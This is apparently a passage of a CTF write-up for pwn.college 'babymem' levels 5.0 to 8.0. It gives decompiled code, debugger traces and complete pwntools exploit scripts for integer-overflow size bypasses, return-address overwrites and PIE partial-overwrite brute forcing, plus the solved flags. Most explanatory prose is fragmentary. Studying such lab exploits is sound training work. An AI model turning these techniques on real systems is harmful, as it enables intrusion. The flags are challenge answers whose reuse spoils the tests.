  printf("with %p, which is the address of the win() function.n", win);
  puts("This will cause challenge() to return directly into the win() function,"
);
  puts("which will in turn give you the flag.");
  puts("Keep in mind that you will need to write the address of the win() functi
on");
  puts("in little-endian (bytes backwards) so that it is interpreted properly.n"
);
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v12 = read(0, buf, nbytes);
  if ( v12 < 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf("ERROR: Failed to read input -- %s!n", v4);
    exit(1);
  }
  printf("You sent %d bytes!n", v12);
  puts("Let's see what happened with the stack:n");
  DUMP_STACK(sp_, sz_);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", buf);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the address of win() is %p.n", win);
  putchar(10);
  puts("If you have managed to overwrite the return address with the correct val
ue,");
  puts("challenge() will jump straight to win() when it returns.");
  printf("Let's try it now!nn");
  puts("Goodbye!");
  return 0LL;
}
```

 `__isoc99_scanf` 
 `if`  `__isoc99_scanf` 
 `v8 * v9 > 0x62` 
使 `imul` 98

 payload  144 bytes
 `v8 * v9 > 0x62`  144 bytes 
 `read`  `nbytes = v8 * (unsigned __int64)v9;` 
 `v8``v9` 

 `-1` `v8 * v9 > 0x62` `nbytes` 
 `ssize_t`  `0xfffffffe00000001 > 2**63-1` `read` 
 `-1`退

```asm wrap=false showLineNumbers=false del={28, 65, 85-87} collapse={5-24, 29-5
8, 69-81, 91-114}
pwndbg> c
Continuing.

Breakpoint 2, 0x000000000040291c in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
*RAX  0x7ffd77ce3510 <- 0
 RBX  0x7ffd77ce46e8 -> 0x7ffd77ce55a2 <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-5-0'
 RCX  0
*RDX  0xfffffffe00000001
*RDI  0
*RSI  0x7ffd77ce3510 <- 0
*R8   0x75
*R9   0xffffffec
 R10  0
*R11  0x202
 R12  1
 R13  0
 R14  0x796eb2ce0000 (_rtld_global) -> 0x796eb2ce12e0 <- 0
 R15  0
 RBP  0x7ffd77ce3590 -> 0x7ffd77ce45c0 -> 0x7ffd77ce4660 -> 0x7ffd77ce46c0 <- 0
 RSP  0x7ffd77ce34e0 <- 0xa /* 'n' */
*RIP  0x40291c (challenge+1342) <- call 0x401170
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
 -> 0x40291c <challenge+1342>    call   read@plt                    <read@plt>
        fd: 0 (pipe:[419970])
        buf: 0x7ffd77ce3510 <- 0
        nbytes: 0xfffffffe00000001

   0x402921 <challenge+1347>    mov    dword ptr [rbp - 0x14], eax
   0x402924 <challenge+1350>    cmp    dword ptr [rbp - 0x14], 0
   0x402928 <challenge+1354>    jns    challenge+1400              <challenge+14
00>

   0x40292a <challenge+1356>    call   __errno_location@plt        <__errno_loca
tion@plt>

   0x40292f <challenge+1361>    mov    eax, dword ptr [rax]
   0x402931 <challenge+1363>    mov    edi, eax
   0x402933 <challenge+1365>    call   strerror@plt                <strerror@plt
>

   0x402938 <challenge+1370>    mov    rsi, rax
   0x40293b <challenge+1373>    lea    rdi, [rip + 0x147e]     RDI => 0x403dc0 <
- 'ERROR: Failed to read input -- %s!n'
   0x402942 <challenge+1380>    mov    eax, 0                  EAX => 0
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp     0x7ffd77ce34e0 <- 0xa /* 'n' */
01:0008│-0a8     0x7ffd77ce34e8 -> 0x7ffd77ce46f8 -> 0x7ffd77ce55d8 <- 'MOTD_SHO
WN=pam'
02:0010│-0a0     0x7ffd77ce34f0 -> 0x7ffd77ce46e8 -> 0x7ffd77ce55a2 <- '/home/cu
b3y0nd/Projects/pwn.college/babymem-level-5-0'
03:0018│-098     0x7ffd77ce34f8 <- 0x100000000
04:0020│-090     0x7ffd77ce3500 -> 0x7ffd77ce3520 <- 0
05:0028│-088     0x7ffd77ce3508 <- 0xffffffffffffffff
06:0030│ rax rsi 0x7ffd77ce3510 <- 0
07:0038│-078     0x7ffd77ce3518 <- 0
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0         0x40291c challenge+1342
   1         0x402b32 main+198
   2   0x796eb2aade08
   3   0x796eb2aadecc __libc_start_main+140
   4         0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> c
Continuing.

Breakpoint 3, 0x0000000000402921 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
*RAX  0xffffffffffffffff
 RBX  0x7ffd77ce46e8 -> 0x7ffd77ce55a2 <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-5-0'
*RCX  0x796eb2b93c21 (read+17) <- cmp rax, -0x1000 /* 'H=' */
*RDX  0xffffffffffffff88
 RDI  0
 RSI  0x7ffd77ce3510 <- 0
 R8   0x75
 R9   0xffffffec
 R10  0
*R11  0x246
 R12  1
 R13  0
 R14  0x796eb2ce0000 (_rtld_global) -> 0x796eb2ce12e0 <- 0
 R15  0
 RBP  0x7ffd77ce3590 -> 0x7ffd77ce45c0 -> 0x7ffd77ce4660 -> 0x7ffd77ce46c0 <- 0
 RSP  0x7ffd77ce34e0 <- 0xa /* 'n' */
*RIP  0x402921 (challenge+1347) <- mov dword ptr [rbp - 0x14], eax
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
   0x40291c <challenge+1342>    call   read@plt                    <read@plt>

 -> 0x402921 <challenge+1347>    mov    dword ptr [rbp - 0x14], eax     [0x7ffd7
7ce357c] => 0xffffffff
   0x402924 <challenge+1350>    cmp    dword ptr [rbp - 0x14], 0       0xfffffff
f - 0x0     EFLAGS => 0x286 [ cf PF af zf SF IF df of ]
   0x402928 <challenge+1354>    jns    challenge+1400              <challenge+14
00>

   0x40292a <challenge+1356>    call   __errno_location@plt        <__errno_loca
tion@plt>

   0x40292f <challenge+1361>    mov    eax, dword ptr [rax]
   0x402931 <challenge+1363>    mov    edi, eax
   0x402933 <challenge+1365>    call   strerror@plt                <strerror@plt
>

   0x402938 <challenge+1370>    mov    rsi, rax
   0x40293b <challenge+1373>    lea    rdi, [rip + 0x147e]     RDI => 0x403dc0 <
- 'ERROR: Failed to read input -- %s!n'
   0x402942 <challenge+1380>    mov    eax, 0                  EAX => 0
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp 0x7ffd77ce34e0 <- 0xa /* 'n' */
01:0008│-0a8 0x7ffd77ce34e8 -> 0x7ffd77ce46f8 -> 0x7ffd77ce55d8 <- 'MOTD_SHOWN=p
am'
02:0010│-0a0 0x7ffd77ce34f0 -> 0x7ffd77ce46e8 -> 0x7ffd77ce55a2 <- '/home/cub3y0
nd/Projects/pwn.college/babymem-level-5-0'
03:0018│-098 0x7ffd77ce34f8 <- 0x100000000
04:0020│-090 0x7ffd77ce3500 -> 0x7ffd77ce3520 <- 0
05:0028│-088 0x7ffd77ce3508 <- 0xffffffffffffffff
06:0030│ rsi 0x7ffd77ce3510 <- 0
07:0038│-078 0x7ffd77ce3518 <- 0
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0         0x402921 challenge+1347
   1         0x402b32 main+198
   2   0x796eb2aade08
   3   0x796eb2aadecc __libc_start_main+140
   4         0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg>
```

 `read` 
 `ssize_t` `size_t` `ssize_t
 < size_t`
 `-1`
 `size_t` 
 `ssize_t` 

```c
// attributes: thunk
ssize_t read(int fd, void *buf, size_t nbytes)
{
  return read(fd, buf, nbytes);
}
```

便 `-1` 


 `v8 * v9 > 0x62`  32 bits 

```asm wrap=false showLineNumbers=false
 -> 0x40277d <challenge+927>    mov    edx, dword ptr [rbp - 0x88]     EDX, [0x7
ffcfb641768] => 0xffffffff
   0x402783 <challenge+933>    mov    eax, dword ptr [rbp - 0x84]     EAX, [0x7f
fcfb64176c] => 0xffffffff
   0x402789 <challenge+939>    imul   eax, edx
   0x40278c <challenge+942>    cmp    eax, 0x62                       0x1 - 0x62
     EFLAGS => 0x297 [ CF PF AF zf SF IF df of ]
   0x40278f <challenge+945>  ✔ jbe    challenge+978               <challenge+978
>
```

 `-1`  `ssize_t` 
 `v8 * v9 > 0x62`  144
  `ssize_t` 

 `INT32_MAX` `INT32_MIN` `2` `(v8 
* v9) & 0xffffffff == 0x0`  `v8 * v9 > 0x62` 


`INT32_MAX * 2`  `INT32_MIN * 2` 
 0 使 32 bits
 32 bits  `0x62` 

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-5-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
b *challenge+927
b *challenge+1326
b *challenge+1342
b *challenge+1347
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch(debug=False)

payload = b"".ljust(136, b"A") + p64(0x4022D7)

INT32_MAX = str((2**31)).encode()

target.recvuntil(b"Number of payload records to send: ")
target.sendline(INT32_MAX)
target.recvuntil(b"Size of each payload record: ")
target.sendline(b"2")
target.sendline(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{AcH-0L9UpmOONC81mhni9OzJVhD.01N5IDL5cTNxgzW}`

# Level 5.1

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time bypass
 another check designed to prevent you from doing so!

## Write-up

```c {22, 26} ins={23-24, 27-30} del={31, 33} collapse={1-18, 37-43}
__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  unsigned int v3; // [rsp+28h] [rbp-98h] BYREF
  unsigned int v4; // [rsp+2Ch] [rbp-94h] BYREF
  _QWORD v5[14]; // [rsp+30h] [rbp-90h] BYREF
  int v6; // [rsp+A0h] [rbp-20h]
  __int16 v7; // [rsp+A4h] [rbp-1Ch]
  char v8; // [rsp+A6h] [rbp-1Ah]
  int v9; // [rsp+ACh] [rbp-14h]
  size_t nbytes; // [rsp+B0h] [rbp-10h]
  void *buf; // [rsp+B8h] [rbp-8h]

  memset(v5, 0, sizeof(v5));
  v6 = 0;
  v7 = 0;
  v8 = 0;
  buf = v5;
  nbytes = 0LL;
  printf("Number of payload records to send: ");
  __isoc99_scanf("%u", &v4);
  if ( !v4 )
    __assert_fail("record_num > 0", "/challenge/babymem-level-5-1.c", 0x49u, "ch
allenge");
  printf("Size of each payload record: ");
  __isoc99_scanf("%u", &v3);
  if ( !v3 )
    __assert_fail("record_size > 0", "/challenge/babymem-level-5-1.c", 0x4Cu, "c
hallenge");
  if ( v3 * v4 > 0x77 )
    __assert_fail("record_size * record_num <= 119", "/challenge/babymem-level-5
-1.c", 0x4Du, "challenge");
  nbytes = v3 * (unsigned __int64)v4;
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v9 = read(0, buf, nbytes);
  if ( v9 < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!n", v1);
    exit(1);
  }
  puts("Goodbye!");
  return 0LL;
}
```

 `win`  padding 

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-5-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"".ljust(0x98, b"A") + p64(0x401A48)

INT32_MAX = str((2**31)).encode()

target.recvuntil(b"Number of payload records to send: ")
target.sendline(INT32_MAX)
target.recvuntil(b"Size of each payload record: ")
target.sendline(b"2")
target.sendline(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{A2rdZkIDLVjvpTrAPvlwpllVi7m.0FO5IDL5cTNxgzW}`

# Level 6.0

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time bypass
 another check designed to prevent you from doing so!

## Write-up

```c ins={8} collapse={1-4, 12-35}
void __fastcall win_authed(int a1)
{
  int *v1; // rax
  char *v2; // rax
  int *v3; // rax
  char *v4; // rax

  if ( a1 == 0x1337 )
  {
    puts("You win! Here is your flag:");
    flag_fd_5715 = open("/flag", 0);
    if ( flag_fd_5715 < 0 )
    {
      v1 = __errno_location();
      v2 = strerror(*v1);
      printf("n  ERROR: Failed to open the flag -- %s!n", v2);
      if ( geteuid() )
      {
        puts("  Your effective user id is not 0!");
        puts("  You must directly run the suid binary in order to have the corre
ct permissions!");
      }
      exit(-1);
    }
    flag_length_5716 = read(flag_fd_5715, &flag_5714, 0x100uLL);
    if ( flag_length_5716 <= 0 )
    {
      v3 = __errno_location();
      v4 = strerror(*v3);
      printf("n  ERROR: Failed to read the flag -- %s!n", v4);
      exit(-1);
    }
    write(1, &flag_5714, flag_length_5716);
    puts("n");
  }
}
```

 `win_authed` `win_authed` 
 `0x1337` flag `win_authed` 
 `0x1337` `if` 
使

```c
void __fastcall win_authed(int a1)
{
  if ( a1 == 0x1337 ) { /* ... */ }
}
```

```asm wrap=false showLineNumbers=false ins={7-9} collapse={3-3, 13-67} "0x00000
000004019a3"
pwndbg> disass win_authed
Dump of assembler code for function win_authed:
   0x0000000000401987 <+0>: endbr64
   0x000000000040198b <+4>: push   rbp
   0x000000000040198c <+5>: mov    rbp,rsp
   0x000000000040198f <+8>: sub    rsp,0x10
   0x0000000000401993 <+12>: mov    DWORD PTR [rbp-0x4],edi
   0x0000000000401996 <+15>: cmp    DWORD PTR [rbp-0x4],0x1337
   0x000000000040199d <+22>: jne    0x401aa1 <win_authed+282>
   0x00000000004019a3 <+28>: lea    rdi,[rip+0x1746]        # 0x4030f0
   0x00000000004019aa <+35>: call   0x401110 <puts@plt>
   0x00000000004019af <+40>: mov    esi,0x0
   0x00000000004019b4 <+45>: lea    rdi,[rip+0x1751]        # 0x40310c
   0x00000000004019bb <+52>: mov    eax,0x0
   0x00000000004019c0 <+57>: call   0x401170 <open@plt>
   0x00000000004019c5 <+62>: mov    DWORD PTR [rip+0x4675],eax        # 0x406040
 <flag_fd.5715>
   0x00000000004019cb <+68>: mov    eax,DWORD PTR [rip+0x466f]        # 0x406040
 <flag_fd.5715>
   0x00000000004019d1 <+74>: test   eax,eax
   0x00000000004019d3 <+76>: jns    0x401a22 <win_authed+155>
   0x00000000004019d5 <+78>: call   0x401100 <__errno_location@plt>
   0x00000000004019da <+83>: mov    eax,DWORD PTR [rax]
   0x00000000004019dc <+85>: mov    edi,eax
   0x00000000004019de <+87>: call   0x4011a0 <strerror@plt>
   0x00000000004019e3 <+92>: mov    rsi,rax
   0x00000000004019e6 <+95>: lea    rdi,[rip+0x172b]        # 0x403118
   0x00000000004019ed <+102>: mov    eax,0x0
   0x00000000004019f2 <+107>: call   0x401130 <printf@plt>
   0x00000000004019f7 <+112>: call   0x401140 <geteuid@plt>
   0x00000000004019fc <+117>: test   eax,eax
   0x00000000004019fe <+119>: je     0x401a18 <win_authed+145>
   0x0000000000401a00 <+121>: lea    rdi,[rip+0x1741]        # 0x403148
   0x0000000000401a07 <+128>: call   0x401110 <puts@plt>
   0x0000000000401a0c <+133>: lea    rdi,[rip+0x175d]        # 0x403170
   0x0000000000401a13 <+140>: call   0x401110 <puts@plt>
   0x0000000000401a18 <+145>: mov    edi,0xffffffff
   0x0000000000401a1d <+150>: call   0x401190 <exit@plt>
   0x0000000000401a22 <+155>: mov    eax,DWORD PTR [rip+0x4618]        # 0x40604
0 <flag_fd.5715>
   0x0000000000401a28 <+161>: mov    edx,0x100
   0x0000000000401a2d <+166>: lea    rsi,[rip+0x462c]        # 0x406060 <flag.57
14>
   0x0000000000401a34 <+173>: mov    edi,eax
   0x0000000000401a36 <+175>: call   0x401150 <read@plt>
   0x0000000000401a3b <+180>: mov    DWORD PTR [rip+0x471f],eax        # 0x40616
0 <flag_length.5716>
   0x0000000000401a41 <+186>: mov    eax,DWORD PTR [rip+0x4719]        # 0x40616
0 <flag_length.5716>
   0x0000000000401a47 <+192>: test   eax,eax
   0x0000000000401a49 <+194>: jg     0x401a77 <win_authed+240>
   0x0000000000401a4b <+196>: call   0x401100 <__errno_location@plt>
   0x0000000000401a50 <+201>: mov    eax,DWORD PTR [rax]
   0x0000000000401a52 <+203>: mov    edi,eax
   0x0000000000401a54 <+205>: call   0x4011a0 <strerror@plt>
   0x0000000000401a59 <+210>: mov    rsi,rax
   0x0000000000401a5c <+213>: lea    rdi,[rip+0x1765]        # 0x4031c8
   0x0000000000401a63 <+220>: mov    eax,0x0
   0x0000000000401a68 <+225>: call   0x401130 <printf@plt>
   0x0000000000401a6d <+230>: mov    edi,0xffffffff
   0x0000000000401a72 <+235>: call   0x401190 <exit@plt>
   0x0000000000401a77 <+240>: mov    eax,DWORD PTR [rip+0x46e3]        # 0x40616
0 <flag_length.5716>
   0x0000000000401a7d <+246>: cdqe
   0x0000000000401a7f <+248>: mov    rdx,rax
   0x0000000000401a82 <+251>: lea    rsi,[rip+0x45d7]        # 0x406060 <flag.57
14>
   0x0000000000401a89 <+258>: mov    edi,0x1
   0x0000000000401a8e <+263>: call   0x401120 <write@plt>
   0x0000000000401a93 <+268>: lea    rdi,[rip+0x1758]        # 0x4031f2
   0x0000000000401a9a <+275>: call   0x401110 <puts@plt>
   0x0000000000401a9f <+280>: jmp    0x401aa2 <win_authed+283>
   0x0000000000401aa1 <+282>: nop
   0x0000000000401aa2 <+283>: leave
   0x0000000000401aa3 <+284>: ret
End of assembler dump.
pwndbg>
```

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-6-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"".ljust(0x58, b"A") + p64(0x4019A3)
payload_size = str(len(payload)).encode()

target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil("Send your payload")
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{AusQ-DCHaivq4M4Tj9IZIsDv7m8.0VO5IDL5cTNxgzW}`

# Level 6.1

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time bypass
 another check designed to prevent you from doing so!

## Write-up

 padding 


## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-6-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"".ljust(0x88, b"A") + p64(0x401DB0)
payload_size = str(len(payload)).encode()

target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil("Send your payload")
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{Mlgp6gl7Ogp1vkjstLEXXOSldEM.0FMwMDL5cTNxgzW}`

# Level 7.0

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time in a p
osition independent (PIE) binary!

## Write-up

 padding  PIE 
 `Partial Write`  PI
E

`Partial Write` 
 `0x1000` 4 KB 
 `0x2000` PIE 
 3 nibbles 
 3 nibbles 

 nibble `[0x0, 0xf]`
 3 nibbles 

 PIE  3 nibbles 


**Run 1:**

```asm wrap=false showLineNumbers=false "0x6123056c8000"
pwndbg> piebase
Calculated VA from /home/cub3y0nd/Projects/pwn.college/babymem-level-7-0 = 0x612
3056c8000
pwndbg> i fun main
All functions matching regular expression "main":

Non-debugging symbols:
0x00006123056ca3c3  main
0x00007149f9ca4e40  __libc_start_main
0x00007149f9cb4b70  bindtextdomain
0x00007149f9cb4bb0  bind_textdomain_codeset
0x00007149f9cb86b0  textdomain
0x00007149f9d026c0  _IO_switch_to_main_wget_area
0x00007149f9d8e0b0  getdomainname
0x00007149f9d95d00  setdomainname
0x00007149f9da4b90  __getdomainname_chk
0x00007149f9db6940  __res_nquerydomain
0x00007149f9db6940  res_nquerydomain
0x00007149f9db69f0  __res_querydomain
0x00007149f9db69f0  res_querydomain
pwndbg> i fun challenge
All functions matching regular expression "challenge":

Non-debugging symbols:
0x00006123056c9d0b  challenge
pwndbg> i fun win_authed
All functions matching regular expression "win_authed":

Non-debugging symbols:
0x00006123056c9bee  win_authed
pwndbg>
```

**Run 2:**

```asm wrap=false showLineNumbers=false "0x622fffad3000"
pwndbg> piebase
Calculated VA from /home/cub3y0nd/Projects/pwn.college/babymem-level-7-0 = 0x622
fffad3000
pwndbg> i fun main
All functions matching regular expression "main":

Non-debugging symbols:
0x0000622fffad53c3  main
0x0000781a2c3f4e40  __libc_start_main
0x0000781a2c404b70  bindtextdomain
0x0000781a2c404bb0  bind_textdomain_codeset
0x0000781a2c4086b0  textdomain
0x0000781a2c4526c0  _IO_switch_to_main_wget_area
0x0000781a2c4de0b0  getdomainname
0x0000781a2c4e5d00  setdomainname
0x0000781a2c4f4b90  __getdomainname_chk
0x0000781a2c506940  __res_nquerydomain
0x0000781a2c506940  res_nquerydomain
0x0000781a2c5069f0  __res_querydomain
0x0000781a2c5069f0  res_querydomain
pwndbg> i fun challenge
All functions matching regular expression "challenge":

Non-debugging symbols:
0x0000622fffad4d0b  challenge
pwndbg> i fun win_authed
All functions matching regular expression "win_authed":

Non-debugging symbols:
0x0000622fffad4bee  win_authed
pwndbg>
```

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-7-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_size = 0x38
fixed_offset = b"x0a"
possible_bytes = [bytes([i]) for i in range(0x0C, 0x10C, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()

        return b"You win!" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")

        return False


while True:
    try:
        target = launch()

        payload = b"A" * padding_size
        payload += fixed_offset + random.choice(possible_bytes)
        log.info(f"Trying payload: {payload.hex()}")

        if send_payload(target, payload):
            log.success("Success! Exiting...")

            pause()
            exit()
    except Exception as e:
        log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{0svlAHsYG0L-ONps0VQ3ssICrbb.0VMwMDL5cTNxgzW}`

# Level 7.1

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time in a p
osition independent (PIE) binary!

## Write-up



## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-7-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_size = 0x88
fixed_offset = b"x3d"
possible_bytes = [bytes([i]) for i in range(0x08, 0x108, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()

        return b"You win!" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")


while True:
    try:
        target = launch()

        payload = b"A" * padding_size
        payload += fixed_offset + random.choice(possible_bytes)
        log.info(f"Trying payload: {payload.hex()}")

        if send_payload(target, payload):
            log.success("Success! Exiting...")

            pause()
            exit()
    except Exception as e:
        log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{EC4bj1hO9Oo1kCMvjnoAdmOg2ed.0lMwMDL5cTNxgzW}`

# Level 8.0

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time in a p
osition independent (PIE) binary with an additional check on your input.

## Write-up

```c {8, 24} ins={118-120} del={112, 116, 125} collapse={1-4, 12-20, 28-108, 129
-156}
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-80h] BYREF
  int v7; // [rsp+1Ch] [rbp-64h]
  size_t size; // [rsp+28h] [rbp-58h] BYREF
  _QWORD v9[4]; // [rsp+30h] [rbp-50h] BYREF
  int v10; // [rsp+50h] [rbp-30h]
  char v11; // [rsp+54h] [rbp-2Ch]
  size_t v12; // [rsp+60h] [rbp-20h]
  int v13; // [rsp+6Ch] [rbp-14h]
  void *buf; // [rsp+70h] [rbp-10h]
  void *dest; // [rsp+78h] [rbp-8h]
  __int64 savedregs; // [rsp+80h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+88h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  memset(v9, 0, sizeof(v9));
  v10 = 0;
  v11 = 0;
  dest = v9;
  size = 0LL;
  puts("The challenge() function has just been launched!");
  sp_ = (__int64)v6;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", des
t);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 37);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, there is no "win" variable.");
  puts("You will need to force the program to execute the win_authed() function"
);
  puts("by directly overflowing into the stored return address back to main,");
  printf(
    "which is stored at %p, %d bytes after the start of your input buffer.n",
    (const void *)rp_,
    rp_ - (_DWORD)dest);
  printf(
    "That means that you will need to input at least %d bytes (%d to fill the bu
ffer,n",
    rp_ - (_DWORD)dest + 8,
    37);
  printf("%d to fill other stuff stored between the buffer and the return addres
s,n", rp_ - (_DWORD)dest - 37);
  puts("and 8 that will overwrite the return address).n");
  puts("We have disabled the following standard memory corruption mitigations fo
r this challenge:");
  puts("- the canary is disabled, otherwise you would corrupt it before");
  puts("overwriting the return address, and the program would abort.");
  puts("Because the binary is position independent, you cannot know");
  puts("exactly where the win_authed() function is located.");
  puts("This means that it is not clear what should be written into the return a
ddress.n");
  printf("Payload size: ");
  __isoc99_scanf("%lu", &size);
  printf("You have chosen to send %lu bytes of input!n", size);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, dest);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    (char *)dest + size,
    size - 37);
  printf("Of these, you will overwrite %d bytes into the return address.n", size
 + (_DWORD)dest - rp_);
  puts("If that number is greater than 8, you will overwrite the entire return a
ddress.n");
  puts("Overwriting the entire return address is fine when we know");
  puts("the whole address, but here, we only really know the last three nibbles.
");
  puts("These nibbles never change, because pages are aligned to 0x1000.");
  puts("This gives us a workaround: we can overwrite the least significant byte"
);
  puts("of the saved return address, which we can know from debugging the binary
,");
  puts("to retarget the return to main to any instruction that shares the other 
7 bytes.");
  puts("Since that last byte will be constant between executions (due to page al
ignment),");
  puts("this will always work.");
  puts("If the address we want to redirect execution to is a bit farther away fr
om");
  puts("the saved return address, and we need to write two bytes, then one of th
ose");
  puts("nibbles (the fourth least-significant one) will be a guess, and it will 
be");
  puts("incorrect 15 of 16 times.");
  puts("This is okay: we can just run our exploit a few times until it works");
  puts("(statistically, ~50% chance after 11 times and ~90% chance after 36 time
s).");
  puts("One caveat in this challenge is that the win_authed() function must firs
t auth:");
